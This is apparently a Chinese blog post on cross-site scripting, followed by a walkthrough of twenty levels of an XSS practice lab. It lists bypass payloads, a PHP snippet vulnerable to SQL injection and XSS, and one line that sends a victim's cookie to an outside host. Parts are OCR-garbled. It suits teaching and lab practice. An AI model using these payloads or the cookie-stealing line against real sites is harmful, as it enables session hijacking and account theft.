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跨站脚本攻击

XSS的概念（被动攻击）

由于跨站脚本(Cross Site Scripting)英文缩写cSS与层叠样式表(Cascading Style Sheets)的缩写一样,因此业界人士将跨站脚本英
文缩写为"XSS"。网站中如果存在可以被XSS攻击的网页,则证明该网站存在XSS漏洞。XSS是目前最普遍的 Web应用攻击方法
之一,它是一种利用网站漏洞向网页嵌入恶意脚本代码(如JavaScript)的攻击方式。当用户访问网页时,嵌入在网页中的恶意脚本代
码将被执行,从而达到攻击用户的目的。

XSS的危害

xSS主要攻击目标是浏览器客户端的用户。攻击者首先在网站中留下预定义的恶意脚本,当用户使用浏览器访问站点中的网页时,

预留的恶意JavaScript脚本就会对用户、站点造成危害。XSS攻击可能造成的危害大致可分为以下5种。
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1.盗取各种用户账号
2.窃取用户Cookie(可伪造用户进行登录)资料，冒充用户身份进入网站
3.劫持用户会话，执行任意操作
4.刷流量，执行弹窗广告
5.传播蠕虫病毒等等

xss发生在？
服务器

微博、留言板、聊天室等等收集用户输入的地方，都有可能被注入XSS代码，都存在遭受XSS的风险，只要没有对用户的输入

进行严格过滤，就会被XSS 。

XSS攻击时所用到的脚本有3种情况:

(1)直接替换当前网页的已有参数并立即执行;
(2)通过数据提交存储到数据库中,当数据被访问时执行；
(3）写在某个文件中,当文件被打开，引用时执行.根据XSS的表现形式、存储位置以及有效时长，反射型和存储型两种类型。

Poc            漏洞的验证与检测
EXP            漏洞的完整利用工具。
shellcode      利用漏洞时，所执行的代码
payload  攻击载荷
         sqlmap     攻击代码的模板
         msfshellcode类似,功能是建立与目标的连接

xSS 漏洞的验证

我们可以用一段简单的代码，验证和检测漏洞的存在，这样的代码叫做PoC(Proof ofconcept)。验证XSS 漏洞存在的PoC如下

常用：

弹窗 确认窗 输入框
我们发现，提交的代码

被当作字符串输出在HTML页面中，浏览器会根据[

xsS的分类

xSS 漏洞大概可以分为三个类型︰反射型XSS、存储型XSS、DOM型XSS。*反射型xsS

反射型XSS

是非持久性、参数型的跨站脚本。反射型XSS的JS代码在web应用的参数(变量)中，如搜索框的反射型XSS。
在搜索框中，提交PoC[]，点击搜索，即可触发反射型XSS。
注意到，我们提交的poc会出现在search.php页面的keywords参数中。

*存储型xss(危害最大)

存储型×SS是持久性跨站脚本。持久性体现在XSS代码不是在某个参数(变量)中，而是写进数据库或文件等可以永久保存数据的

介质中。

存储型XSS通常发生在留言板等地方。我们在留言板位置留言，将恶意代码写进数据库中。

此时，我们只完成了第一步，将恶意代码写入数据库。因为XSS使用的JS代码，JS
代码的运行环境是浏览器，所以需要浏览器从服务器载入恶意的XSS
代码，才能真正触发XSS。此时，需要我们模拟网站后台管理员的身份，查看留言。



Scontent = $_POST["content"];
$sq7 = "INSERT INTO cON ('content ') VALUES ("+$content+"") ""mysql_query(ssq1)

$sql = "select content from CON";
$content = mysq1_query(Ssq1;
echo "<h1>". $content. "</h2>";

*DOM xss

DOM XSS比较特殊。owasp 关于DOM 型XSS的定义是基于DOM的XSS 是一种XSS
攻击，其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树
而执行，并不会传到服务器上，这也就使得DOM XSS比较难以检测。如下面的例子

【#message=】

我们以锚点的方式提交PoC。PoC

xss的poc太多了，可以从标签上、事件上、编码上等进行变形，直至绕过过滤或

1）弹窗

2） 标签 跳转

3）



标签

%0a 换行

5）

<iframe onload=alert(1)></iframe>
<iframe src='data:text/htm1;base64 ,PHNjcm7wdD5hbcvydcgxKTwvc2NyaXBOPg=='> base64解码
<iframe src="javascript:%20%0aa7ert%20%0d %09(1) ">
<iframe srcdoc="&1t;img src&equa1s;x:x onerror&equa1s;alert&7par; 1&rpar; &gt;" />html实体编码

javascript：

href=javascript：要执行的javascript代码



src=javascript：要执行的javascript代码

6）事件

<a onclick="alert(1)">1</a>

DOM事件
onclick
onfocus聚焦
onload加载时触发
onerror

其它事件https://www.runoob.com/jsref/dom-obj-event.html8）

收集一些poc

<svg/on1oad=setTimeout( 'ale'+'rt(1)',0)></svg>
<select onfocus=alert(1) autofocus></select>
<object data=data:text/htm1;base64,PHNjcm7wdD5hbGvydcgxKTwvc2NyaxBOPg</object>
<details open ontoggle="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41; ">
<svg/onload ="location='jav '+'ascript '+ ' :%2 '+'0aler'+'t%20%2'+'81%'+'29'"></svg><script>window. location="h
ttp : / /www.baidu.com"</script>
<script>window.location="http://192.168.43.79:8080/cookie.php?cookie="+document.cookie;</ script>
<script/src=/ /127.0.0.1/1.js></script>#1.js alert(1)

在测试了大量的poc都无法绕过时可以试试Fuzz，只要字典poc多
xss比较多 变形很多

FUZZ



beef





details：上线信息

logs：日志



重定向：

xss平台
webshell后门

大马：有可能会黑吃黑，有可能有隐蔽的后门





自制后门：

css标签的外部引用，远程访问url的标签



xss防御

cookie

设置httponly

Level 1 无过滤机制

通过payload，我们可以看到payload的内容会在页面中显示，所以属于f反射型xss，使用

可过关



Level 2闭合标签

直接输入上一关的脚本，查看结果。

脚本完全输入，但是被实体转义了，查看前端代码。



可以看到在

标签之中的恶意代码被编码了。

其中<和>都被编码成了html字符实体。

猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理。

接着往下看可以看到插入到value参数值中的恶意代码并没有被编码而是直接原样返回

但是问题是这里的js代码在标签属性值中，浏览器是无法执行的。

因为上面的恶意代码被编码了，我们只能从属性值中的恶意代码处进行突破。

要想浏览器执行这里的弹窗代码，只需要将属性的引号和标签闭合就可以了。

左边的">去闭合原先的"
右边的 //去注释原先的">

将keyword的参数值重新赋值

"><script>alert('xss')</script>

成功弹窗：

去服务器端看看 level2.php代码



箭头1处将get方式传递到服务器端的keyword参数的值赋给str变量。

在箭头2处是用htmlspecialchars()函数对变量str进行处理之后显示到网页上。

在箭头3处却是直接将变量值插入到了标签的value属性值中

因为这里并没有对敏感字符进行编码和过滤，所以可以通过构造实现XSS攻击。

level 3 单引号闭合 +htmlspecialchar()函数
先尝试poc

发现原样输出

查看代码：



这两处都将 <和 >这样的敏感字符编码成了html字符实体。

猜测服务器端在这两处都用 htmlspecialchars()函数进行了处理。

去服务器端看看 level3.php代码

这里可以通过 <input>标签的一些特殊事件来执行js代码

构造代码： level3.php?keyword='onfocus=javascript:alert('xss') > //&submit=搜索



发现没有直接弹窗，这是因为onfocus事件的特殊性造成的

onfocus 事件在对象获得焦点时发生。
onfocus 通常用于 <input>, <select>, 和<a>.

举个例子：在网页上的一个输入框中,当使用鼠标点击该输入框时输入框被选中，可以输入内容的时候就是该输入框获得焦点的
时候,此时输入框就会触发onfocus事件.因此点击当前页面的输入框就可以完成弹框了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-btj73PU2-1648222792821)(https://gitee.com/nie-
junyan/clodimage/raw/master/blog/20220323212740.png)]

level 4 双引号闭合+添加事件



也是get方式传参

进行poc



输入框中与我们提交的参数值有出入， <和 >没有了

看看网页源码

第1处直接将 <和 >编码转换了

第2处是把 <和 >删除了

事件触发不需要使用这两个符号。

尝试用：



"onclick="alert(/xss/)

在点击输入框之后成功触发了事件进行弹窗。

level 5 javascript伪协议

用上一关的 payload，失败，查看源码：



o后面多了一个_，再试试其余的特殊符号。

"闭合的，尝试

尝试大小写，均输出为小写，应该也是做了转换的。

前面几关的用法都不能用，试一下 href，构造一个

"><a href='javascript:alert(/xss/)'>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gP5IUoGt-1648222792823)(https://gitee.com/nie-
junyan/clodimage/raw/master/blog/20220323215536.png)]

点一下，即可弹窗

看源代码：

level 6 大小写绕过

尝试上一关payload，失败，查看源码：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nh5KcoNl-1648222792823)(https://gitee.com/nie-
junyan/clodimage/raw/master/blog/20220323215802.png)]

这次将 href过滤了，都测试一下。



大小写取消了。构造`

"><a hRef='javascript:alert(/xss/)'>

level 7 双写绕过

进行poc:

<script>alert('xss')</script>



查看源码：

1处将 <和 >进行编码处理了

2处把script字符直接删除了

再试一下事件触发：

"onfocus=javascript:alert('xss')//



看到onfocus事件直接把on字符删除了，javascript中的script字符也被删除了。尝试用大小写能不能绕过

大小写绕过失败，尝试双写关键字

"oonnfocus=javascriscriptpt:alert('xss')//

点击输入框即可弹窗



level 8 编码绕过

查看源码：

提交的参数值一个会插入到 <input>标签的value属性值中，

一个会插入到下方 <a>标签的href属性值中。

用

<script>alert('xss')</script

测试

<和 >被编码

在href属性值中 script字符被插入了 _字符破坏语义

尝试事件触发：

"onfocus=javascript:alert('xss')>//



用来闭合引号的引号也被编码。

onfocus一类的事件也被破坏

尝试大小写绕过，也失败

我们可以将要提交的js代码转成实体

javascript:alert(/xss/)
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x2F;&#x7
8;&#x73;&#x73;&#x2F;&#x29;



去服务器端看看这一关的源码

箭头1：对参数值做了小写处理

箭头2：对常见的关键字做了过滤处理

箭头3：将用来起闭合作用的引号做了字符实体替换

level 9检测关键字

进行poc，查看源码：



提交的参数值插入到了标签的value属性值中

但是在标签的href属性中却并没有出现该参数值，

而是显示的 "您的链接不合法？有没有！"这样的字符串。

有可能是将我们的代码进行了过滤

只有包含正常的url地址才能添加到href属性值中

构造一个有正常url地址的恶意代码：

javascript:alert('xss')http://www.baidu.com

语句虽然显示在了 href属性值中，但是 javascript字符被插入了 _

尝试用大小写绕过试试



失败，尝试对关键字进行编码

java&#115;&#99;&#114;&#105;&#112;&#116;:alert('xsshttp://')

源文件代码：



箭头1：与上一关一致

箭头2和3：判断如果字符中没有 http://的话就会返回false，

接着在 href属性值中就会出现 "您的链接不合法？有没有！"

箭头4和5：判断成功后，返回第一次出现的位置，

将该字符插入到 href属性值中了

level 10 隐藏信息

进行poc：



查看源码：

在源码中有一个隐藏的表单。

其中含有 t_link  t_history  t_sort这样三个隐藏的 <input>标签，意味着是三个参数，判断哪一个标签能够被突破

构造语句：

<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"



有一个 <input>标签的状态改变了。这个标签就是名

为 t_sort的 <input>标签，之前都是隐藏状态，但是通过构造参数响应发现只

有它里面的值被改变了。

因此可以从该标签进行突破，尝试能不能注入恶意代码进行弹窗。

<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')



查看源码：

箭头1：说明是接收 t_sort参数值的。

箭头2：会删除 t_sort参数值中的 <和 >。

level11Referer
查看源码：



与第十关相比，多了一个名为 t_ref的 <input>标签。

尝试用上一关的方法看看能不能从这几个标签进行突破注入代码。

构造代码

good job!&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text

t_sort仍然可以接受参数值，但是里面的双引号被编码了

这样浏览器只能正常显示字符但是却无法起到闭合的作用了。

通过BP进行抓包

可以看到在原始的请求数据包中并没有referer这个请求头，那么我们可以自己加上



构造代码：

referer:"type="text" onclick="alert('xss')



可以看到我们添加的referer头的值出现在了t_ref标签的value属性值中了。

可以从这里突破，注入恶意代码，恶意代码成功插入了value属性值中，接着将这个请求的响应放行到浏览器

成功弹窗，说明通过referer头来提交恶意代码触发了xss

服务器端源码



在服务器端还将请求头中的 referer头的值赋给了 str11这个变量，再将变量值中的 <和 >删除之后就会插入到 t_ref这个标签

的value属性值中。而上一关的 t_sort标签虽然也能接收并显示参数值，但是这个参数值是要用 htmlspecialchars()函数处理

的。

level12 User-agent
查看源码

看到了 t_ua这样一个标签，并且其中的value属性的值看起来像User-Agent`头的值

我们可以从 User-agent入手，构造代码：

"type="text" onclick="alert('xss')

查看网页代码：



服务器源代码

将keyword参数的值赋给了变量str

将t_sot参数的值赋给了变量str00，

将请求中User-Agent头的值赋给了变量str11,。

将变量str11的值中存在的<和>删除之后直接插入到了t_ua标签的value属性值中。

在这里变量str和str00的值都是需要被htmlspecialchars()函数处理过

才能返回给浏览器。

Leval 13 Cookie
直接查看网页代码：



又多了一个参数 t_cook，猜测可能是cookie，尝试代码：

"type="text" onclick="alert('xss')

但在Hackbar中添加的cookies字段，并没有成功传进去。

再尝试抓包，通过抓包，看到多了一个参数 user，cookie的值是通过user才传进去的。�

构造代码：



user=Cookie" onclick="alert(/xss/)" type="text

Leval 14 Exif
查看源码：

<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no 
width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge
/level15.php?src=1.gif>点我进level15</a></center>
</body>



无法访问

http://www.exifviewer.org/

writeup  称为 exit xss

level 15 angularjs
尝试测试，查看网页代码：





可以看到我们提交的参数src的值被插入到了标签的class属

性值中，但是前面还有ng-include这样的字符。

ng-include是angular js中的东西，其作用相当于php的include函数。这里将1.gif这个文件给包含进来了。

具体原理如下：

ng-include指令_天马3798-CSDN博客

https://blog.csdn.net/u011127019/article/details/53666528?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164389373316780261975207%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164389373316780261975207&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-53666528.first_rank_v2_pc_rank_v29&utm_term=ng-include&spm=1018.2226.3001.4187


1、ng-include 指令用于包含外部的 HTML文件。

2、包含的内容将作为指定元素的子节点。

3、ng-include 属性的值可以是一个表达式，返回一个文件名。

4、默认情况下，包含的文件需要包含在同一个域名下。

特别值得注意的几点如下：

1.ng-include,如果单纯指定地址，必须要加引号

2.ng-include,加载外部html，script标签中的内容不执行

3.ng-include,加载外部html中含有style标签样式可以识别



尝试能不能直接闭合标签来触发弹窗

结果一些字符被编码了。

查看源文件代码：

ng-include可以包含html文件，说明可以包含之前有过xss漏洞的源文件

?src='level1.php?name=<img src=1 onerror=alert(1)>'

参数值是一个地址，所以需要添加引号。

但是level1.php是一个php文件

在level1.php后面添加了name参数值。表示在访问了该参数值中的地址之后，再把它响应在浏览器端的html文件中

成功弹窗



也可构造此代码：

'level1.php?name=<a href="javascript:alert(/xss/)">'



Leval 16 空格实体转义



经过测试，发现在url里面传入参数，进行poc



发现 script字样直接被过滤，/script`也被滤掉了，尝试上关的payload：

<img src="" onerror=alert('xss')>

空格被实体转换了，可以使用 %0a替代空格。

<img%0asrc="%0a"%0aonerror=alert('xss')>

成功弹窗



level 17 args
查看网页代码：

提交的两个参数的值出现在了 <embed>标签的src属性值中

猜测该标签应该就是突破口，尝试用基本的弹窗代码测试

<script>alert( /xss/)</script>



构造的代码中关键字都被编码了，这里应该被 htmlspecialchars()函数处理过。仔细观察一下发现这个 <embed>标签就是引入

一个 swf文件到浏览器端，并且它的src属性值没

有添加引号，所以不用闭合

可以考虑通过事件来触发。

比如此处可以用 onclick事件测试一下

onclick=alert('xss')

level 18
用上一关的 payload可以弹窗过关



level 19 flash xss
尝试各种payload都无法过关，查看源码：

src的值使用双引号括起来的。

如果想要成功执行 js代码肯定需要去闭合标签，但是此处应该还是会用 htmlspecialchars()函数进行处理，所以无法成功闭

合。

这一关涉及一种xss攻击手段叫做flash xss

Flash产生的xss问题主要有两种方式：

加载第三方资源

与javascript通信引发XSS。

借鉴大佬pqyload：

version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

成功弹窗



更清楚的解释：可以看这里

Leval 20 Flash xss

https://baynk.blog.csdn.net/article/details/103213877


这道题不怎么会，通过看大佬博客明白一点点，这里直接payload

他讲的很清楚

arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

创作打卡挑战赛 
赢取流量/现金/CSDN周边激励大奖
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